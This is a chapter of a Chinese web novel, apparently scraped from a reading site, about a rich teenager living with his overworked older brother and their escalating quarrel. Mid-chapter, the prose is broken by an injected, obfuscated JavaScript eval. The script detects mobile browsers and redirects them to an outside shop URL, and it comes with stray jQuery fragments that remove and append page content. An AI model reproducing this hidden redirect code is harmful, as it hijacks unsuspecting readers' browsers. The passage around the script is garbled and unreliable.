默认冷灰
24号文字
方正启体

4. 【燃】钥匙

作者:悬止本书字数:K更新时间:
    家门的锁,原本只有黛烬拿着唯一的钥匙。


    现在家里多了黛燃,黛烬就特意给他配了一把。


    黛燃将钥匙插进去拧,可任凭他怎么用力用技巧,锁孔都纹丝不动。


    他太着急了。


    他想进去。


    黛燃边转钥匙边拍门。


    “哥。”


    黛燃边拍门边看钥匙。


    从前在临家,家门都是各种指纹声纹电子智能锁,除了他和爸妈的房间外家里到处都有人,他进门多数时候都不需要自己亲自开锁。


    能打开家门的钥匙,从小到大他都只有这一把,肯定不会拿错。


    锦衣玉食了十七年的临少爷搞不懂,为什么正确的钥匙会打不开正确的家门。


    “哥!”


    黛燃被独自关在门外,茫然又无措。


    整栋居民楼“同仇敌忾”,都不怎么隔音,此刻已经有同一层的邻居听到动静,纷纷开门探头出来查看情况。


    黛燃被围观,更加不知所措。


    好心的邻居们七嘴八舌。


    “燃燃啊,你哥哥回家了,差不多半个小时前吧,关门的动静我都听见了。”


    “小黛是不是睡觉呢,可能没听见?”


    黛燃专心致志地开门,听黛烬已经回家了,终于松了口气,可这口气还没松多久,就被人重新拉了起来。


    住在对面的邻居闻声也跟着拉开门,状似无意地接了句话。


    “我瞧着小黛还带了个男人回来,个子高高的,进去就没出来,两个人现在肯定都还在屋里头呢!”


    此言一出,围观的邻居神色各异。


    黛燃这口气被快速由松拉到紧,拉到一半,他紧握着钥匙的手就忽然松了。


    对门的邻居有点尴尬,把门又拉大了些。


    兴许是觉得自己说错话坏了事,她主动邀请黛燃进门,话说得隐晦又心照不宣。


    “燃燃啊,你哥哥可能忙着呢,要不你先到阿姨屋里坐坐?”


    黛燃不说话,他将耳朵紧紧贴在家门上,尝试着听里面的动静,边听边放轻了动作拍门。


    “砰砰砰”


    “砰—砰—砰—”


    “砰——砰——砰——”


    拍门的节奏越来越慢,起初还被黛燃下意识数着节拍,一直没人应,到后来干脆没了章法,动作和黛燃的心情一样没了抓手,门被拍得乱七八糟。


    “砰—砰——砰”


    邻居们看不下去,有人掩面关门,有人继续劝拍门的黛燃。


    “诶呦你这孩子,咋还学人听墙角?这多不好!”


    黛燃却像是听不见邻居的劝告似的,一意孤行。


    家里只有一室一厅一卫,外加一个不大的杂物间,他哥住卧室,把家里的杂物间收拾出来给他住。


    空间不大,所以每间屋子离门都很近。


    大概是方便逃跑吧,他哥的卧室离门是最近的,有时候他哥在卧室里收拾卫生,他在家门口都能和他哥说上话。


    像这样将耳朵贴在家门上,有可能听得到他哥的声音。


    但屋子里寂静无声,无论黛燃怎么听都听不出一点人的动静,安静得让人心里发毛。


    他哥,去哪儿了?


    忽然,一阵脚步声从门内稀稀拉拉地传来,黛燃拍门的动作一顿,不自觉屏住呼吸,他把心跳都放轻了。


    黛燃边听边想。


    居然真的听得到!还有,这门居然这么不隔音!那他和他哥在里面做什么,岂不是都能被路过的邻居听到?


    他从前没经验,从没想过房子还有不隔音的问题,此刻却被迫回忆这几个星期以来发生的事情,每一次和他哥吵的架。


    黛燃越听心越冷,越想脸越红。


    他无端从这阵脚步声里听出了拖腔拉调的疲惫感,大量的欣喜掺着羞赧刹那间将他席卷,他不敢再拍门了。


    那阵脚步声逐渐消失,取而代之的,是一阵钥匙被拔出的声响。


    这门不隔音的程度简直叹为观止,钥匙被一节一节拔出来,每寸卡顿都清晰可闻。


    黛燃顾不上那么多,待钥匙的拔出声过去,他连忙再次拧动自己的钥匙,这次钥匙终于可以成功拧动,他大喜。


    稍微把前后的事情串起来一联想,他立马顿悟!


    原来门被他哥从里面插了钥匙,怪不得打不开,黛燃那口松了又紧的气,此刻终于被他彻底呼出在地。


    吓他一跳。


    他还以为黛烬又换锁了。


    锁芯被拧动,下一秒,门开了。


    黛燃和黛烬四目相对。


    同床异梦。


    黛燃脸上没有任何异样,像上次放假回家见到黛烬时一样欣喜。


    他说。


    “哥,我回来了。”


    只要他说,他哥就回。


    “嗯。”


    黛燃没有四处乱跑,谁都没见,谁都没联系,只知道放假了就要回家。


    二十二世纪的进步堪称大刀阔斧,连带着上学都成了“轻办公”,没有厚重的课本,所以学生肩上的书包都不沉。


    但黛燃还是提了提书包带,用动作侧面提醒他哥。


    该放他进门了。


    但他哥好像太累了所以没看到,黛燃总觉得他哥的身体比门还要大,比门还要大的身体直愣愣地把他堵在门口。


    这下有了钥匙也开了门,但他还是进不去。


    黛烬无动于衷。


    黛燃只得又主动出声提醒。


    “哥,我能进去吗?”


    黛烬终于有了动作。


    “我能说不吗?”


    黛烬虽然嘴上这样说,但他自己心里也知道,他早就没有说不的权力了。


    尤其是被黛燃这双眼睛看着,再听黛燃叫他一声哥。


    黛烬又叹了口气。


    他早已不是黛燃这种年纪的学生,可以不顾场合不顾面子,想做什么做什么。


    十七岁的高中生,做什么也只会被人当成孩子不懂事,但他今年二十五了。


    他是大人了。


    人情世故,得学着大人的样子维护。


    他朗声和街坊邻居打了个招呼,学着从前他妈的语气说场面话。


    “多谢各位叔叔阿姨照顾我弟弟,天气冷了,大家都多注意身体。再过几个星期就过年了,我买了点儿年货,还希望大家不要嫌弃,到时候我带着弟弟,挨个上门和大家拜年。”


    人情世故都是有来有回的,邻居们纷纷回应。


    “都是邻里邻居的客气什么!你妈不在身边,你一个人带着弟弟也不容易,有什么要帮忙的尽管开口,别不好意思啊!”


    “我知道,谢谢王阿姨。”


    “是啊小黛,少加班,多照顾身体,现在多了个弟弟,要花钱的地方多,身体才是本钱你说不是?”


    “是,我知道的钱叔叔。”


    ……


    黛烬让开身边的位置,只留给黛燃站。


    黛燃却不进家门,站在原地一动不动。


    黛烬现在察言观色的本事颇为长进,一看他这样子就心里门儿清,这小孩儿估计还在想他前面说的不让人进家门的话。


    俗话说得好,退一步海阔天空。


    黛烬是哥哥,他决定给弟弟做个榜样,先行退步,收回这一脚。


    “当我没说。”


    这话刚说完,黛燃就有样学样,也学着他哥的样子退了一步。


    他从家门外拔出自己的钥匙,走进了这扇由哥哥亲手打开的家门。


    *


    “临少爷,您真的不回来了吗?”


    临家的管家打来这通电话的时候,黛燃正坐在客厅的茶几前,戴着耳机边接电话边吃早饭。


    他将最后一口功能粥咽下去,从茶几上摆着的抽纸盒里随手抽了张纸,仔细擦擦嘴,看也不看地丢进垃圾桶。


    “不去了,我在我哥这儿过得挺好的。”


    黛燃起身走进开放式厨房,将脏碗勉强洗干净摆好。


    今非昔比,这几个星期以来他经常洗碗,动作已经相当熟练,但心里还是有点不适应这种用循环的脏水洗碗的生活。


    黛燃没忍住,将洗了的碗又拿起来,对着光看看。


    看着是蛮干净的。


    功能粥作为联盟居民最常见的主食之一,一人份的量看着不多,却包含着足够维系一位青年健康的营养成分。


    为了让每一位联盟居民都能活到平均年龄之上,联盟下派的营养师们可谓是无所不用其极,但好在效果显著。


    除了没啥味道以外,其余都是好处。


    这种粥一没油二没糖盐,因此装过粥的碗格外好洗,但黛燃看着碗,总觉得还是需要流水再冲一遍。


    他悄悄转身,看了眼紧闭的卧室门。


    他哥今天轮休,还在睡觉,现在开水龙头只要声音放得小,应该不会被发现。


    说干就干。


    黛燃像做坏事一样掂着心,学着他哥开水的动作慢慢打开水龙头,将洗过一遍的碗对着流水仔仔细细地冲。


    看着透明的流水铺满瓷碗,黛燃心里的不适应终于被勉强洗净。


    他来回冲了三遍,最后将彻底洗干净的碗摆好,关水擦手一气呵成。


    黛燃看着被摆好的碗满意点头,手机被他顺手带到厨房,电话没断,管家的声音冷静中透着犹豫。


    “临女士托我问您,您房间原来的东西要怎么处理呢?要帮您送——”


    黛燃做坏事都忘了看时间,此刻才想起来看表,一看指针都跑到八点了,终于意识到上学要来不及了。


    从前在临家,他都是专人车接车送,现在没了这便利,他上学都得赶最早的一班公交车,没时间像从前一样和管家端着架子掰扯,他直接打断管家的话。


    “不用了,我哥家里装不下。麻烦帮我把校服和日常穿的衣服留下吧,其他东西都不要了,衣服等这周放假了我回去取。”


    黛燃说完就几步狂奔回客厅,不顾手机还放在厨房台面上,抄起书包快速检查了一遍内物,发现少了本习题册。


    他蹙眉在脑海里翻找记忆,家不大,能去的地方也不多,找起东西来特别快,不过须臾他便想起了练习册的位置。


    原来是昨天晚上落在卧室了,黛燃不犹豫,起身就去找。


    管家的声音响在耳机里,耳机离厨房的手机直线距离不过三米,他能抗住三十米连接距离的蓝牙耳机连接起通话来轻轻松松,走到卧室也不影响听清管家说话。


    “好的,我待会儿让佣人上去整理收拾一下,您来了记得提前联系我。”


    黛燃快步走到卧室门口,先看看紧闭的房门,又扫了眼腕表,算算时间,发现距离公交车到站只剩下最后十分钟。


    公交车比下课铃还准点,从家门出发到公交站,跑步只需要五分钟,还来得及。


    卧室门虽然关着但没上锁,黛燃轻手轻脚推开门走进去,环视一圈发现习题册刚好被黛烬压在腰下。


    他踮着脚尽量不制造出声音吵醒他哥,走到床边想拿走习题册。


    昨天晚上他哥加班,下班到家已经很晚,家里只有卧室安了灯,他带着作业来这边写。


    他哥又不上学,卧室里连张桌子都没有,他趴在床上写,走的时候太急,还是漏了一本习题册在床上。


    他哥昨天应该是心情不好,下班那么晚还去喝了酒,回来倒头就睡,习题册很薄,压在身下也没什么感觉。


    黛燃轻轻松了口气。


    还好没有影响到他哥睡觉。


    他一只手从黛烬腰下穿过,临家庄园里有专门的健身房,黛燃常年锻炼的手臂和他哥一样有力气,一使力就将黛烬的腰轻松腾空抬起。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531610|203703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    另一只手趁机捏住习题册,怕弄醒他哥他全程不敢呼吸,紧紧屏着一口气。


    黛燃不禁感慨,上次这么紧张,还是在法庭上听法官宣判自己归属的时候。


    他时刻注意着时间,心里着急,还好动作没拖他后腿,很快便将练习册完好无损地拿了出来。


    拿到本子他就立马放他哥回被窝,虽然时间紧迫,但他还不忘忙里偷闲地给他哥盖被子。


    黛燃往外走的同时顺道翻开习题册,打算最后检查一遍昨天写的作业,他没看脚下的路,在差一点儿就要走到卧室门口的时候还是出了意外。


    功亏一篑。


    黛燃不小心踩到了黛烬昨天晚上顺手放在卧室门口的酒瓶,他眼疾手快地按住房门,这才稳住了身体没落地。


    玻璃酒瓶“哐当”一声被踢到墙角,尖锐的声音一下把还在睡梦中的黛烬砸醒!


    黛烬惊恐地从床上弹起,发丝凌乱地四处张望。


    他呼吸急促,神态慌张,动作反复重复几次后他才终于确定了状况,呼吸的频率慢慢降下来。


    黛燃也被这动静吓得不敢动弹,独自一人站在门口,刚好为没睡醒的黛烬挡住了从门口照进来的太阳。


    黛烬随手撸了把头发,一看到是黛燃弄出的动静,起床气带着怨气一起铺天盖地地袭来,将他不多的理智吃干抹净。


    “一大早的你不去上学你站这儿干吗?专门来吵我睡觉,黛燃你他妈成心让我不好过是不是!”


    黛燃没想到还是把他哥吵醒了,理亏地道歉,无声叹了口气。


    “抱歉啊哥,我不是故意的。”


    黛烬本来听了道歉还能多少缓和点儿情绪,却没成想一扭头正好看到黛燃叹气,刚压住的火气又开始蹭蹭往上冒!


    “你还叹上气了?我他妈昨天晚上加班到十点,回家了还被傻叉领导抓去给人临时顶夜班,一直熬到今天早上六点才睡上觉!”


    黛烬一口气说完又去摸手机,看到是八点又是怒从心头起!


    “才八点!我就睡了两个小时,就这两个小时你还不让我安生是吗?”


    连日以来因为烦心事积攒的怒气一口气爆发,黛烬一生气说话就不过脑子,什么真心话都往外蹦。


    “黛燃,我他妈上辈子欠你的是吧,成年了不结婚还承担起养孩子的义务了!这个家你能待就给我老实待着,待不了早点收拾东西滚蛋!”


    黛燃被“滚蛋”两个字刺激到,拿着习题册的手指捏得紧紧的。


    他没想到自己道了歉,黛烬还这么上纲上线,耳机里的管家不再说话,显然也将黛烬的话全数听了去。


    黛燃长这么大还没听过有人对他发脾气,也无法想象有人会因为生活上的一点鸡毛蒜皮的小事斤斤计较。


    他又看了眼表。


    眼看着上学要迟到,黛烬还和他胡搅蛮缠,脾气一向温和的黛燃也不免被黛烬难听的话勾起了点儿情绪。


    “我都说了我不是故意的,也和你道歉了,这事情就该到此为止,你没必要这么上纲上线吧?”


    黛烬气极反笑,一吵架他就下意识搜罗黛燃不占理的话反过来支持自己的道理。


    “我上纲上线?你这种没过过苦日子的大少爷有什么资格对我说这种话?要是换成你来过我的人生,你还做得到像这样高高在上吗?”


    黛燃一听黛烬又把“少爷”挂在嘴边,不解又烦躁,他也忍不住把真心话说了出来。


    “日子是自己过的,黛烬,总是抱怨自己过得不好,对你的生活有什么益处?”


    黛烬被这话精准踩住痛脚,抓着黛燃的话自己断章取义。


    “我不抱怨我就能过得好?要是过日子真像你说的这么简单,那哑巴就该是这个世界上最幸福的人!”


    此言一出,黛燃忽然消了火气,问了个有头没尾的话题。


    “哥,你不幸福吗?”


    黛烬为了吵赢这场架,下意识就找话出去反驳。


    “有你在我怎么幸福!”


    黛燃愣住了,第一次有人对他说这句话。


    自从遇到黛烬,他才知道人的生活原来可以有这么多“第一次”。


    他觉得幸福就像是生活特地铸就的一把钢筋铁锁,想要的东西是钥匙,一把钥匙只能开一把锁。


    他只要他哥这一把钥匙,就足够打开他幸福的电子锁了。


    他以为他哥也和他一样,他们都能拿着彼此的钥匙。


    但好像不是,他哥的锁和他不一样。


    他哥的这把铁锁放了太久,锈迹斑斑,锁眼被生活腐蚀得七零八落。


    锁坏了。


    他哥想要的钥匙又太多。


    大的小的长的短的好的坏的全部混在一起,看得人眼花缭乱。


    可钥匙太多,就注定了他哥这辈子都打不开关住幸福的锁。


    黛燃手里拿着刚从他哥腰下扯出来的练习册,手指贪心地汲取着黛烬用身体带给他的温暖。


    为什么他就能幸福,他哥不行?


    妈妈以前说有了他就能感到幸福,那他哥不幸福,是因为没有他吗?


    不对,他哥刚才说有了他反而没办法幸福。


    好矛盾。


    难道是类似于“迟来的深情比草贱”?


    黛燃最后看了一次表。


    现在是上午八点二十分,他成功错过了今天唯一一班赶得上学校上午第一节课的公交车。


    他觉得自己迟到了。


    迟到得方方面面。


    他没能成为让他哥幸福的那把钥匙,反而和生活一起在他哥的锁上凿壁泼酸,把本就锈迹斑斑的锁孔蚕食得更加面目全非。


    雪上加霜。


    黛燃没心情管腕表的指针已经无情地将他甩在身后,面对怒气未散的黛烬,声音小得像是在自言自语。


    “如果我离开,哥就能过得幸福吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)